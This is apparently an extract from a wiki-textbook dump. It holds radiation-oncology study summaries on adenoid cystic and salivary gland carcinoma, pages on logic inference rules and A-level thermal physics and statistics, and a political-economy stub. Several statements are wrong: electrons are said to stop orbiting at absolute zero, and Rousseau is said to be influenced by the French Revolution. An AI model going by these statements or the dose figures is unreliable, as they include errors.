***Adenoid cystic involving a named branch of cranial nerve, in which case nerve path to skull base should be treated. For focal perineural invasion, treatment to skull base should be based on anatomic location
***For paranasal sinuses or palate, base of skull should be treated due to proximity
***Fields may not need to electively include LNs, except if located in tongue, floor of mouth, pharynx, or larnyx and neck was not dissected. However, UCSF data on elective nodal irradiation (ENI) above suggest no benefit for adenoid cystic or acinic cell
**RT dose
***Negative margins: 60/30
***Microscopically positive margins: 66/33
***Grossly residual disease or primary treatment: 70/35


*'''Netherlands Cancer Institute; 2000''' (Belgium)(1973-1994) {{PMID|11002213}} -- &quot;Stage as major long term outcome predictor in minor salivary gland carcinoma.&quot; (Vander Poorten VL, Cancer. 2000 Sep 15;89(6):1195-204.)
**Retrospective. 55 patients with minor salivary gland cancer. Median F/U for alive patients 11.1 years
**Outcome: 5-year DSS 76%, 10-year DSS 74%
**Prognostic factors: younger age, lower AJCC stage, LN+, vascular invasion, nasopharynx/paranasal sinus location
**Conclusion: comparable outcome to major salivary gland patients


==Adenoid Cystic Carcinoma==
===Overview===
*First described in 1853, named adenoid cystic in 1953
*Slow-growing epithelial tumor of salivary glands, thought to arise from intercalated mucous-secreting ducts. Can arise anywhere within the upper respiratory tract
*Predominance in 5th-6th decade, and in females
*Estimated 5-10% of all salivary tumors, but common in minor salivary glands (30-40%). Parotid gland is the single most common site, and accounts for ~25%. Minor salivary glands account for ~60% in total; most common site is palate
*Histologically shows 3 patterns: glandular, tubular, and solid (worse prognosis)
*Characterized by persistent local recurrences, perineural spread, and distant metastases; lymphatic spread less common
*Distant metastases may happen late, commonly affect lungs, are are frequently slow-growing and surgically resectable
*Most important prognostic factor is Stage; more favorable outcome of major parotid glands compared with minor is probably earlier diagnosis
*Overall, 5-year OS is exceptionally good but 10- and 20-year OS is exceptionally poor
*Most are treated surgically
*Role of adjuvant RT is controversial; some institutions use for all patients while others use for those with unfavorable features. It is probably reasonable to offer adjuvant radiation for most patients, especially with positive surgical margins or perineural invasion. RT dose should be &gt;60 Gy
*Perineural invasion of small unnamed nerves may not be correlated with worse control if treated with adjuvant RT; named branches of cranial nerves should probably be treated to skull base
*In patients with skull base extension (and likely R2 resection or unresectable), dose intensification with proton therapy or carbon ion boost appears superior to IMRT alone

===Photon Therapy===
*'''MSKCC; 2007''' (1990-2004) {{PMID|18029108}} -- &quot;Outcomes and Prognostic Variables in Adenoid Cystic Carcinoma of the Head and Neck: A Recent Experience.&quot; (Gomez DR, Int J Radiat Oncol Biol Phys. 2007 Oct 27 [Epub ahead of print])
**Retrospective. 59 patients (oral cavity 28%, paranasal sinuses 22%, parotid 14%, submandibular 14%) treated with RT. Stage T1-T4. Base of skull treated in 90%. Median F/U of survivors 5.9 years
**Outcome: 5-year LC 91%, DM-free 81%, OS 87%; 10-year LC 81%, DM-free 49%, OS 65%
**Worse predictors: T4, gross/clinical nerve involvement, LN+
**Conclusion: RT combined with surgery offers excellent local control

*'''Heidelberg; 2006''' {{PMID|16756669}} -- &quot;Inverse planned stereotactic intensity modulated radiotherapy (IMRT) in the treatment of incompletely and completely resected adenoid cystic carcinomas of the head and neck: initial clinical results and toxicity of treatment.&quot; (Munter MW, Radiat Oncol. 2006 Jun 6;1:17.)
**Retrospective. 25 patients, huge adenoid cystic tumors. Surgery R0 (16%), R1 (4%), R2 (80%). Treated with IMRT, most using integrated boost. Median F/U 1.9 months
**Outcome: 3-year OS 72%. LF 12%, RF (adjacent LN) 12%
**Toxicity: Grade 3+ if small number of patients
**Conclusion: IMRT provides good control and low side effects

*'''UCSF; 2006''' (1960-2004) {{PMID|16904520}} -- &quot;Adenoid cystic carcinoma of the head and neck treated by surgery with or without postoperative radiation therapy: prognostic features of recurrence.&quot; (Chen AM, Int J Radiat Oncol Biol Phys. 2006 Sep 1;66(1):152-9.)
**Retrospective. 140 patients treated with definitive surgery. T1 26%, T2 28%, T3 20%, T4 26%. SM+ 56%. Post-op RT 64%, median dose 64 Gy (54-71 Gy). Base of skull treated routine for all patients with PNI. Elective neck in 54%. Median F/U 5.5 years
**Outcome: LC 5-year 88%, 10-year 77%; 10-year OS 64%. Sites of failure: all LR were localize to original site except for 2 base of skull recurrences in patients treated with surgery alone. No cervical LN failures. DM sites were lung 71%, bone 14%, liver 9%, brain 6%
**Poor prognosis: T4, PNI, major nerve involvement, lack of post-op RT. Post-op RT beneficial in essentially all subgroups except possibly if SM-. If received post-op RT, dose &lt;60 Gy, T4, and major nerve involvement poor prognosis
**Conclusion: Combined modality therapy with RT &gt;60 Gy should be standard of care

*'''University of Florida; 2004''' (1966-2001) {{PMID|14762884}} -- &quot;Radiotherapy alone or combined with surgery for adenoid cystic carcinoma of the head and neck.&quot; (Mendenhall WM, Head Neck. 2004 Feb;26(2):154-62.)
**Retrospective. 101 patients, treated with RT alone or surgery + RT. Median F/U 6.6 years
**Outcome: LC 5-years RT 56% vs surgery + RT 94%, 10-years 43% vs. 91% (SS). OS 5-years 57% vs. 77%, 10-years 42% vs. 55%. Predictors for survival T-stage, clinical nerve invasion. DM 10-years 27%
**Conclusion: Optimal treatment for ACC is surgery + adjuvant RT

*'''Hanover; 2004''' (Germany)(1981-2000) {{PMID|14690656}} -- &quot;Adenoid cystic carcinoma of the head and neck--a 20 years experience.&quot; (Kokemueller H, Int J Oral Maxillofac Surg. 2004 Jan;33(1):25-31.)
**Retrospective. 74 patients. Complete resection 45/74. Post-op RT 14 patients.
**Outcome: LC 5-years 64%, 10-years 56%, 15-years 52%; mean local control time 11.1 years; DM control 72%, 62%, 59%; mean distant control time 14.4 years; OS 71%, 54%, 37%; mean OS 4.7 years
**Poor prognosis: large size, PNI, SM+
**Conclusion: Insight into behavior of ACC

*'''UCLA; 2004''' (1963-1997) {{PMID|15577803}} -- &quot;Adenoid cystic carcinoma of the submandibular gland: a 35-year review.&quot; (Cohen AN, Otolaryngol Head Neck Surg. 2004 Dec;131(6):994-1000.)
**Retrospective. 22 patients, ACC of submandibular gland. Surgery in 21/22. Post-op RT if advanced size, PNI, SM+, or LN+. Median F/U 5.6 years
**Outcome: DFS 3-years 66%, 5-years 57%, 10-years 41%; OS 76%, 70%, 37%
**Poor prognosis: large tumor, SM+, PNI, local recurrence
**Conclusion: High DFS rates; early Dx, wide surgery and post-op RT associated with favorable prognosis

*'''MD Anderson; 1995''' (1962-1991) {{PMID|7790247}} -- &quot;The influence of positive margins and nerve invasion in adenoid cystic carcinoma of the head and neck treated with surgery and radiation.&quot; (Garden AS, Int J Radiat Oncol Biol Phys. 1995 Jun 15;32(3):619-26.)
**Retrospective. 198 patients, ACC treated with surgery, then post-op RT. Parotid 15%, submandibular/sublingual 21%, minor salivary 62%, lacrimal 2%. Resection R1 42%, close 28%. PNI 69%, major nerve PNI 28%. Median RT 60 Gy to tumor bed. Median F/U 7.8 years
**Outcome: LR 5-years 95%, 10-years 86%, 15-years 79%. LR by margin: positive 18%, close 9%, negative 5% (SS). By PNI, PNI major nerve 18% vs. PNI minor nerve 9% (SS). Trend to better control with higher dose. DM primary mode of recurrence (37%)
**Conclusion: Excellent local control using combined surgery + postop RT. PNI only adverse with major nerve involvement. Recommend 60 Gy to tumor bed, 66 Gy if SM+

===Proton Therapy===
*''Please also see the [[Radiation_Oncology/Head_%26_Neck/Protons|general H&amp;N proton therapy]] page''


*'''Harvard''' 
**'''2008''' (1991-2002) {{PMID|17902164}} -- &quot;Extent of surgery in the management of locally advanced sinonasal malignancies.&quot; (Resto VA, Head Neck. 2008 Feb;30(2):222-9.)
***Retrospective. 102 patients, locally advanced, treated with proton therapy with or without surgery (R0 20%, R1 49%, R2/biopsy 31%). Squamous cell 32%, neuroendocrine 29%, &lt;u&gt;adenoid cystic 20%&lt;/u&gt;, sarcoma 13%, adenocarcinoma 6%. Median RT dose if R0 resection 67.6 Gy, if R1/R2 resection 75.6 Gy usually given BID. Median proton contribution 57%. Concurrent chemo 33% (typically for neuroendocrine). Median F/U 3.6 years, alive 5.1 years
***Outcome: 5-year LC R0 95% vs R1 82% vs R2 87% (NS, no difference by histology); 5-year DFMS 95% vs. 69% vs 52% (no difference by histology). 5-year OS 90% vs 49% vs 39% (worst for squamous cell). Regional failure rate 12%
***Conclusion: High dose proton RT excellent local control regardless of extent of surgery. However, DFS and DMFS depended on extent of surgery. Can consider observation for regional neck
**'''2006''' (1991-2002) {{PMID|17116822}} -- &quot;Proton beam radiation therapy for skull base adenoid cystic carcinoma.&quot; (Pommier P, Arch Otolaryngol Head Neck Surg. 2006 Nov;132(11):1242-9.)
***Retrospective. 23 patients, adenoid cystic with skull base extension. Sinonasal 75%, nasopharynx 22%. Surgery 52%. All patients definitive combined photon and proton RT (photons typically to elective LNs, proton contribution 31-72%). Median dose 76 Gy BID or 73 Gy QD. Median F/U 5.2 years
***Outcome: 5-year LC 93%, DMFS 62%, DFS 56%, OS 77%. Prognostic factors vision change initially and sphenoid sinus/clivus involvement
***Conclusion: Encouraging local control

===Carbon Ion===
*'''Heidelberg''' 
**'''IMRT vs carbon; 2005''' (1995-2003) {{PMID|15937907}} -- &quot;Therapy strategies for locally advanced adenoid cystic carcinomas using modern radiation therapy techniques.&quot; (Schulz-Ertner D, Cancer. 2005 Jul 15;104(2):338-44.)
***Retrospective. 63 patients with ACC, 2 groups depending on carbon ion beam availability. Group A (n=29): combined photons/carbon boost. Group B (n=34): photons only, delivered as stereotactic or IMRT. Carbon ion allowed higher median GTV dose (72 GyE vs. 66 GyE). Median F/U Group A 1.3 years vs Group B 2 years
***Outcome: LRC 2-years photons/carbon 77% vs. IMRT 72%, 4-years 77% vs. 25% (p=0.08). 4-year DFS 53% vs. 23%, 4-year OS 76% vs. 78%
***Toxicity: Severe late toxicity &lt;5% for both groups
***Conclusion: Combination of IMRT and carbon ion seemed advantageous over IMRT alone
**'''Overall; 2004''' (1997-2002) {{PMID|14751537}} -- &quot;Results of carbon ion radiotherapy in 152 patients.&quot; (Schulz-Ertner D, Int J Radiat Oncol Biol Phys. 2004 Feb 1;58(2):631-40.)
***Retrospective. 152 patients treated with carbon ion RT, 21 unfavorable adenoid cystic with infiltration of skull base and R2 resection enrolled (18 primary, 8 recurrent). Photons to 54 Gy (but 8/21 received lower dose due to neighboring organ tolerances) followed by carbon ion boost 18 GyE. 14/21 patients planned with IMRT. Median F/U 14 months
***Adenoid cystic outcome: LRF 4/21 (19%); 3-year LRC 62%, OS 75%
***Toxicity: acute Grade 3 in 9% (1 abscess, 1 mucositis)
***Conclusion: Carbon ion therapy is safe and offers high local control
**'''Feasibility; 2003''' (1998-2002) {{PMID|12738314}} -- &quot;Feasibility and toxicity of combined photon and carbon ion radiotherapy for locally advanced adenoid cystic carcinomas.&quot; (Schulz-Ertner D, Int J Radiat Oncol Biol Phys. 2003 Jun 1;56(2):391-8.)
***Phase I/II. 16 patients, ACC with R2 resection. Combined photon/carbon boost RT to 72 GyE. Photons were stereotactic RT/IMRT. Median F/U 1 year
***Outcome: 1-year LC 65%, 3-year LC 65%; OS 100% and 83%
***Toxicity: No Grade 3+ acute toxicity
***Conclusion: Combined photon/carbon ion therapy is feasible and effective</text>
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  <page>
    <title>Formal Logic/Sentential Logic/Inference Rules</title>
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      <id>4670458</id>
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      <contributor>
        <username>R. Henrik Nilsson</username>
        <id>3395618</id>
      </contributor>
      <minor />
      <comment>formated &gt; formatted</comment>
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      <text bytes="6689" sha1="7vj7zbwn3j712d8cgnk55ym357gruj5" xml:space="preserve">&lt;noinclude&gt;
{{Formal Logic:TOCPageNav|up=Sentential Logic|prev=Derivations|next=Constructing a Simple Derivation}}
&lt;/noinclude&gt;

= Inference Rules =

== Overview ==

Inference rules will be formatted as in the following example.

: Conditional Elimination (CE)
:: &lt;math&gt;(\varphi \rightarrow \psi)\,\!&lt;/math&gt;
:: &lt;math&gt;\underline{\varphi \quad \quad \quad}\,\!&lt;/math&gt;
:: &lt;math&gt;\psi\,\!&lt;/math&gt;

The name of this inference rule is 'Conditional Elimination', which is abbreviated as 'CE'.  We can apply this rule if formulae having the forms above the line appear as active lines of text in the derivation.  These are called the ''antecedent lines'' for this inference.  Applying the rule adds a formula having the form below the line.  This is called the ''consequent line'' for this inference.  The annotation for the newly derived line of text is the line numbers of the antecedent lines and the abbreviation 'CE'.

Note.  You might see ''premise line'' and ''conclusion line'' for ''antecedent line'' and ''consequent line''.  You may see other terminology as well, as most textbooks avoid giving any special terminology here.

Each sentential connective will have two inference rules, one each of the following types.

* An ''introduction rule''.  The introduction rule for a given connective allows us to derive a formula having the given connective as its main connective.

* An ''elimination rule''.  The elimination rule for a given connective allows us to use a formula already appearing in the derivation having the given connective as its main connective.

Three rules (Negation Introduction, Negation Elimination, and Conditional Introduction) will be deferred to a later page.  These are so-called discharge rules which will be explained when we get to subderivations.

Three rules (Conjunction Elimination, Disjunction Introduction, and Biconditional Elimination) will have two forms each.  We somewhat arbitrarily count the two patterns as forms of the same rule rather than separate rules.

The validity of the inferences on this page can be shown by truth table.

== Inference rules ==

=== Negation ===

Negation Introduction (NI)
: ''Deferred to a later page.''


Negation Elimination (NE)
: ''Deferred to a later page.''

=== Conjunction ===

Conjunction Introduction (KI)
: &lt;math&gt;\varphi\,\!&lt;/math&gt;
: &lt;math&gt;\underline{\psi \quad \quad \ \ }\,\!&lt;/math&gt;
: &lt;math&gt;(\varphi \land \psi)\,\!&lt;/math&gt;

Conjunction Introduction traditionally goes by the name ''Adjunction'' or ''Conjunction''.


Conjunction Elimination, Form I (KE)
: &lt;math&gt;\underline{(\varphi \land \psi)}\,\!&lt;/math&gt;
: &lt;math&gt;\varphi\,\!&lt;/math&gt;


Conjunction Elimination, Form II (KE)
: &lt;math&gt;\underline{(\varphi \land \psi)}\,\!&lt;/math&gt;
: &lt;math&gt;\psi\,\!&lt;/math&gt;

Conjunction Elimination traditionally goes by the name ''Simplification''.

=== Disjunction ===

Disjunction Introduction, Form I (DI)
: &lt;math&gt;\underline{\varphi \quad \quad \ \ }\,\!&lt;/math&gt;
: &lt;math&gt;(\varphi \lor \psi)\,\!&lt;/math&gt;


Disjunction Introduction, Form II (DI)
: &lt;math&gt;\underline{\psi \quad \quad \ \ }\,\!&lt;/math&gt;
: &lt;math&gt;(\varphi \lor \psi)\,\!&lt;/math&gt;

Disjunction Introduction traditionally goes by the name ''Addition''.


Disjunction Elimination (DE)
: &lt;math&gt;\varphi \lor \psi\,\!&lt;/math&gt;
: &lt;math&gt;(\varphi \rightarrow \chi)\,\!&lt;/math&gt;
: &lt;math&gt;\underline{(\psi \rightarrow \chi)}\,\!&lt;/math&gt;
: &lt;math&gt;\chi\,\!&lt;/math&gt;

Disjunction Elimination traditionally goes by the name ''Separation of Cases''.

=== Conditional ===

Conditional Introduction (CI)
: ''Deferred to a later page.''


Conditional Elimination (CE)
: &lt;math&gt;(\varphi \rightarrow \psi)\,\!&lt;/math&gt;
: &lt;math&gt;\underline{\varphi \quad \quad \quad}\,\!&lt;/math&gt;
: &lt;math&gt;\psi\,\!&lt;/math&gt;

Conditional Elimination traditionally goes by the Latin name ''Modus Ponens'' or, less often, by ''Affirming the Antecedent''.

=== Biconditional ===

Biconditional Introduction (BI)
: &lt;math&gt;(\varphi \rightarrow \psi)\,\!&lt;/math&gt;
: &lt;math&gt;\underline{(\psi \rightarrow \varphi)}\,\!&lt;/math&gt;
: &lt;math&gt;(\varphi \leftrightarrow \psi)\,\!&lt;/math&gt;


Biconditional Elimination, Form I (BE)
: &lt;math&gt;(\varphi \leftrightarrow \psi)\,\!&lt;/math&gt;
: &lt;math&gt;\underline{\varphi \quad \quad \quad}\,\!&lt;/math&gt;
: &lt;math&gt;\psi\,\!&lt;/math&gt;


Biconditional Elimination, Form II (BE)
: &lt;math&gt;(\varphi \leftrightarrow \psi)\,\!&lt;/math&gt;
: &lt;math&gt;\underline{\psi \quad \quad \quad}\,\!&lt;/math&gt;
: &lt;math&gt;\varphi\,\!&lt;/math&gt;

== Examples ==

Inference rules are easy enough to apply.  From the lines

: (1) &amp;nbsp;&amp;nbsp; &lt;math&gt;\mathrm{P} \land \mathrm{Q} \rightarrow (\mathrm{S} \leftrightarrow \mathrm{T})\,\!&lt;/math&gt;

and 

: (2) &amp;nbsp;&amp;nbsp; &lt;math&gt;\mathrm{P} \land \mathrm{Q}\,\!&lt;/math&gt;

we can apply Conditional Elimination to add 

: (3) &amp;nbsp;&amp;nbsp; &lt;math&gt;\mathrm{S} \leftrightarrow \mathrm{T}\,\!&lt;/math&gt;

to a derivation.

The annotation will be the line numbers of (1) and (2) and the abbreviation for Conditional Elimination, namely '1, 2, CE'.  The order of the antecedent lines does not matter; the inference is allowed regardless of whether (1) appears before or after (2).

It must be remembered that inference rules are strictly syntactical.  Semantically obvious variations is not allowed.  It is not allowed, for example, to derive (3) from (1) and

: (4) &amp;nbsp;&amp;nbsp; &lt;math&gt;\mathrm{Q} \land \mathrm{P}\,\!&lt;/math&gt;

However, you can get from (1) and (4) to (3) by first deriving

: (5) &amp;nbsp;&amp;nbsp; &lt;math&gt;\mathrm{Q}\,\!&lt;/math&gt;

and

: (6) &amp;nbsp;&amp;nbsp; &lt;math&gt;\mathrm{P}\,\!&lt;/math&gt;

by Conjunction Elimination (KE).  Then you can derive (2) by Conjunction Introduction (KI) and finally (3) from (1) and (2) by Conditional Elimination (CE) as before.  Some derivation systems have a rule, often called Tautological Implication, allowing you to derive any tautological consequence of previous lines.  However, this should be seen as an (admittedly useful) abbreviation.  On later pages, we will implement a restricted version of this abbreviation.

It is generally useful to apply break down premises, other assumptions (to be introduced on a later page) by applying elimination rules&amp;mdash;and then continue breaking down the results.  Supposing that is why we applied CE to (1) and (2), it will likely be useful to derive

: (7) &amp;nbsp;&amp;nbsp; &lt;math&gt;\mathrm{S} \rightarrow \mathrm{T}\,\!&lt;/math&gt;

and

: (8) &amp;nbsp;&amp;nbsp; &lt;math&gt;\mathrm{T} \rightarrow \mathrm{S}\,\!&lt;/math&gt;

by applying Biconditional Elimination (BE) to (3).  To further break this down, you might then attempt to derive &lt;math&gt;\mathrm{S}\,\!&lt;/math&gt; or &lt;math&gt;\mathrm{T}\,\!&lt;/math&gt; so that you can apply CE to (7) or (8).

If you know what line you want to derive, you can build it up by applying introduction rules.  That was the strategy for deriving (2) from (5) and (6).</text>
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  <page>
    <title>A-level Physics/Forces, Fields and Energy/Thermal physics</title>
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        <username>R. Henrik Nilsson</username>
        <id>3395618</id>
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      <text bytes="10689" sha1="8zviwkl4ek5imowhr4d129ytf3g7rk5" xml:space="preserve">Thermal physics deals with the changes that occur in substances when there is a change in temperature.

==Internal energy==

When you heat up a material, it may change state. The molecules vibrate with a greater amplitude, and break apart from one another. The material has been supplied with energy and you can feel it getting hotter. The increased kinetic and potential (from their greater separation) energy of the particles is an increase in what we call '''internal energy'''. Internal energy is defined as:

&lt;div style=&quot;text-align: center;&quot;&gt;&lt;div style=&quot;border: solid 1px #0099ff; background: #ddeeff;{{Text default color}}; padding: 0.5em; width: 75%;&quot;&gt;
The internal energy of a system is the sum of the randomly distributed kinetic and potential energies of its molecules.
&lt;/div&gt;&lt;/div&gt;

Therefore, an increase in temperature for a material means an increase in its internal energy.

==The thermodynamic temperature scale==
The Celsius scale of temperature depends on the properties of water. 0&amp;nbsp;°C is the freezing point of water, and 100&amp;nbsp;°C is the boiling point of water. It is a relative scale, because it is relative to the freezing and boiling points of water. The '''thermodynamic scale of temperature''' (represented by the letter ''T''), however, is an absolute scale of temperuture, and does not depend on the properties of any particular substance. It is also directly proportional to the amount of internal energy a substance possesses.

===Absolute zero===

This scale of temperature is defined in terms of internal energy, and is measured in kelvins (K). 0K is defined as the temperature at which a substance will have minimum internal energy, and is the lowest possible temperature. This temperature is known as '''absolute zero'''. It is at this point at which molecule stop vibrating and electrons stop spinning and orbiting.
[[File:Absolute Zero.JPG|thumb|Kelvin and Celsius Scales - Comparison]]

===Converting between K and °C===

The divisions of the kelvin scale are identical to the divisions of the Celsius scale, so that an increase of 1&amp;nbsp;°C is equal to an increase of 1K.

:&lt;math&gt;\Delta\theta&lt;/math&gt; K = &lt;math&gt;\Delta\theta\;^\circ&lt;/math&gt; C

This makes it simple to convert between the two, and if you know that absolute zero is -273.15&amp;nbsp;°C, you can simply use the formula:

:&lt;math&gt;\theta&lt;/math&gt; K = &lt;math&gt;(\theta + 273.15)\;^\circ&lt;/math&gt; C

to convert between °C and K.

==Heating up substances==
When you apply heat to a substance, the temperature does not simply increase in a straight line. Some extra energy is required to break bonds between particles.
===Energy and temperature changes===

If we were to heat a block of ice at a steady rate and plot a graph of the temperature against time, we would get the following graph:

&lt;div style=&quot;text-align: center;&quot;&gt;[[Image:Temperature-time graph for water.png|400px]]&lt;/div&gt;

This shape is rather surprising. You would expect the line to increase in a straight line, with none of the breaks that you can see above. We should consider what is happening to the molecules of the water at each section of the graph to understand why this is so:

*'''AB'''
:The ice is below freezing point, but the temperature is increasing. The molecules are vibrating slowly, but begin to vibrate more.
*'''BC'''
:At 273K (0°C) the ice is at melting point. The bonds between molecules are being broken and molecules have greater potential energy. This is the Latent Heat of Fusion
*'''CD'''
:The water now increases in temperature towards boiling point. The molecules vibrate even more and move around rapidly as their kinetic energy increases.
*'''DE'''
:At 373K (100°C) the water is now at boiling point. Molecules completely break away from each other and their potential energy increases. DE is much larger than BC because ALL bonds need to be broken for a gas to form. (The Latent Heat of Vapourisation.)
*'''EF'''
:The water is now steam and the molecules are moving around much faster than before. Their kinetic energy continues to increase as energy is supplied.

At the sections BC and DE, where there is a change of state, the molecules do not increase in kinetic energy, but increase in potential energy. The heat energy being supplied does not change the temperature at these sections, but is instead used to break the bonds between molecules.

===Specific heat capacity===

Some materials will heat up quicker than others. For example, metals are good conductors of heat, and provided they are the same mass and that the energy is supplied at the same rate, copper will increase in temperature quicker than water.

The '''specific heat capacity''' can tell us how much energy is required to increase the temperature of a substance, and is defined as:

&lt;div style=&quot;text-align: center;&quot;&gt;&lt;div style=&quot;border: solid 1px #0099ff; background: #ddeeff;{{Text default color}}; padding: 0.5em; width: 75%;&quot;&gt;
The specific heat capacity of a substance is numerically equal to the amount of energy required to raise the temperature of 1&amp;nbsp;kg of the substance by 1K (or by 1&amp;nbsp;°C).
&lt;/div&gt;&lt;/div&gt;

This can be represented as:

&lt;math&gt;c=\frac { Q }{ m\Delta t } &lt;/math&gt;

Or rewritten,

:&lt;math&gt; { Q } = m c \Delta T&lt;/math&gt;

Where &lt;math&gt;{ Q }&lt;/math&gt; is the energy supplied, &lt;math&gt;m&lt;/math&gt; is the mass of the substance, &lt;math&gt;c&lt;/math&gt; is the specific heat capacity, and &lt;math&gt;\Delta T&lt;/math&gt; is the change in temperature

===Measuring the specific heat capacity===

To find the specific heat capacity of something, we can control all of the possible variables and then use them to calculate it. From the equation above, we can see that &lt;math&gt;c = \frac {Q}{m \Delta T}&lt;/math&gt;. This means that if we can supply a known amount of energy to a material of known mass, and measure the change in temperature, we can insert the values into the equation and obtain the specific heat capacity.

To supply a known amount of energy, we can use an electric heater. You may recall that electrical energy can be found by &lt;math&gt;E = IVt&lt;/math&gt;, so by measuring the voltage, the current and the time that the circuit is switched on, we will have a value for the energy supplied to the material.

In the same time period that the circuit is switched on, we must take measurements for the change in temperature. An ordinary mercury thermometer may be used, although it is recommend to use a temperature sensor with a computer to make more precise and accurate measurements.

Once we have taken readings of the temperature and energy at regular intervals of time, we can plot a graph of &lt;math&gt;Q&lt;/math&gt; against &lt;math&gt;\Delta T&lt;/math&gt;. We can calculate the gradient, making sure to use as much of the line in our calculation as possible, and divide it by the mass of the material to obtain the value of the materials specific heat capacity.

===Specific latent heat===

When you heat up a substance so that it changes state, the temperature stays the same during the change. Different substances will require more energy to change state than others. The '''specific latent heat''' will tell us how much energy a substance requires to change state and is defined as:

&lt;div style=&quot;text-align: center;&quot;&gt;&lt;div style=&quot;border: solid 1px #0099ff; background: #ddeeff;{{Text default color}}; padding: 0.5em; width: 75%;&quot;&gt;
The specific latent heat of a substance is numerically equal to the energy that must be supplied to change the state of 1&amp;nbsp;kg of the substance without any change in temperature.
&lt;/div&gt;&lt;/div&gt;

This can be written as the equation:

&lt;math&gt;{ l}=\frac { Q }{m} &lt;/math&gt;

Or, rewritten,

:&lt;math&gt;Q = m l&lt;/math&gt;

Where &lt;math&gt;Q&lt;/math&gt; is the energy supplied, &lt;math&gt;m&lt;/math&gt; is the mass of the substance, and &lt;math&gt;L&lt;/math&gt; is the specific latent heat.

==The gas laws==
There are four properties of a gas, that are related to each other. These properties are the pressure, the temperature, the volume and the mass of the gas, and these relationships are expressed as the gas laws.

===Boyle's law===

Boyle's law relates the pressure of a gas to its volume. Specifically, it states that:
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;div style=&quot;border: solid 1px #0099ff; background: #ddeeff;{{Text default color}}; padding: 0.5em; width: 75%;&quot;&gt;
The pressure of a fixed mass of gas is inversely proportional to its volume, provided that the temperature remains constant.
&lt;/div&gt;&lt;/div&gt;

This can be expressed as &lt;math&gt;p \propto \frac{1}{V}&lt;/math&gt; or &lt;math&gt;pV = constant&lt;/math&gt;.

You can picture this at the molecular level, if you were to imagine the number of collisions the particles of a gas make with the container of a particular size, and then imagine the increased number of collisions when the container is reduced in size but the number of particles remain the same. This is observed as an increase in pressure of the gas.
===Charles' law===

Charles' law relates the volume of a gas with its temperature on the thermodynamic temperature scale, and that:
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;div style=&quot;border: solid 1px #0099ff; background: #ddeeff;{{Text default color}}; padding: 0.5em; width: 75%;&quot;&gt;
The volume of a fixed mass of gas at constant pressure is proportional to its temperature on the thermodynamic temperature scale.
&lt;/div&gt;&lt;/div&gt;

This can be expressed as &lt;math&gt;V \propto T&lt;/math&gt; or &lt;math&gt;\frac {V}{T} = constant&lt;/math&gt;.

It is a little more difficult to understand why this is the case, because a gas will always take up the entire volume of its container. If you think about how a particle behaves when it is heated up, it will vibrate more and cause an increase in pressure, or harder and faster collisions of the molecules against the container. However, since pressure is to be kept constant in this case, the volume of the container will need to increase. Therefore by increasing the temperature of the gas, we have increased its volume.

===Pressure law===
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;div style=&quot;border: solid 1px #0099ff; background: #ddeeff;{{Text default color}}; padding: 0.5em; width: 75%;&quot;&gt;
The pressure of a fixed mass of gas at constant volume is proportional to its thermodynamic temperature.
&lt;/div&gt;&lt;/div&gt;

This can be expressed as &lt;math&gt;p \propto T&lt;/math&gt; or &lt;math&gt;\frac {p}{T} = constant&lt;/math&gt;.

===Equation for an Ideal Gas===

&lt;math&gt;pV = nRT&lt;/math&gt;

n is the number of moles of gas,

R is the Ideal Gas Constant, R ≈ 8.314 J/(mol･K)

T is the ABSOLUTE temperature in K,

p is the Pressure in Pa, or Nm&lt;sup&gt;−2&lt;/sup&gt;,

V is the Volume in m&lt;sup&gt;3&lt;/sup&gt;.

===Properties of an Ideal Gas===

1) Its particles should be monatomic

2) The particles are infinitely small

3) There are no interaction between the particles, hence all the energy is kinetic.
{{A-level physics}}

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  <page>
    <title>A-level Mathematics/OCR/S1/Representation of data</title>
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      <id>4670460</id>
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      <contributor>
        <username>R. Henrik Nilsson</username>
        <id>3395618</id>
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      <comment>formated &gt; formatted</comment>
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      <text bytes="1582" sha1="j04542dj4n7l64w7wd8tqeftr1nxrzh" xml:space="preserve">==Representation of data==

Data that is presented in a systematic manner is much easier to understand. Consequently the next step after data collection is to lay the information out in an orderly way - usually as a table.

A well constructed table must have a) A clear, comprehensive, explanatory title b) Be systematically formatted c) Identify the source of the data d) All units of measurement must be clearly stated (sometimes in the headings of the columns or rows) e) The headings to all columns and rows must be unambiguous - if it would be too long, then use a short title PLUS a footnote.

Systematic formatting is the hard bit. Here you must ask yourself what is the purpose of the table: a) To present the data collected in an orderly manner b) To show distinct patterns in the data c) To summarize the data In most cases, good layout is obtained by first asking what data must be presented adjacent to each other and then asking supplementary questions such as should totals be shown, should percentages or other derived statistics be shown, or would they just clutter up the table.

NEEDS SOME EXAMPLES HERE, probably as graphics to avoid the limitations of web page rendering on different browsers ***

== Graphs and Diagrams==
SYLLABUS EXTRACT:

pie charts, bar charts frequency polygons, construct and interpret stem-and-leaf diagrams (including ordered and back-to-back stem-and-leaf
diagrams), box-and-whisker plots, histograms and cumulative frequency graphs - ''To be written''

== Extracting data from graphs and tables ==
{{sectstub}}

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  <page>
    <title>Political Economy/Classical Political Economy</title>
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      <id>4670602</id>
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      <contributor>
        <username>~2026-50253-05</username>
        <id>3626145</id>
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      <comment>/* Bentham */</comment>
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      <text bytes="2962" sha1="2fkfavtj166aeif778i17chidks9l2c" xml:space="preserve">'''Classical Political Economics'''

==Introduction==
The classical branch studies range from the conservative philosophers such as Machiavelli to liberals such as Adam Smith or  critics of liberalism suc

===Hammurabi===

===Machiavelli===
[[Image:Santi_di_Tito_-_Niccolo_Machiavelli's_portrait_headcrop.jpg|thumb|right|150 px|Detail of the portrait of Machiavelli, ca 1500, in the robes of a Florentine public official.]]

===Hobbes===

==Liberalism==

===Locke===

===Rousseau===
A French philosopher and writer born in Switzerland, he believed that the natural goodness of man was warped by society, most of his ideas were influenced by the French Revolution.

===Smith===
[[Image:AdamSmith.jpg|thumb|left|150 px|Adam Smith]]

===Bentham===

===Liberalism===
Classical liberalism came from the philosophy of the Enlightenment of the 18th century. Liberals generally believe that individuals are virtuous people who can more or less govern themselves by a mixture of this virtue and by rationality (which also draws from the Enlightenment idea that there is a definite Truth in the world, and that Truth may be found by actively searching for it and by applying logic to facts). Since liberals believe that individuals are naturally virtuous, they can and should be able to govern themselves and to decide the paths of their own lives with as little government intervention as possible. Liberals are not anarchists because they do recognize that a state is important in order to control the people as a whole, but they do believe that the state which governs least is the one which governs best.

==Alternatives To Liberalism==

===Malthus===

===Veblen===

===List===

===Hegel===

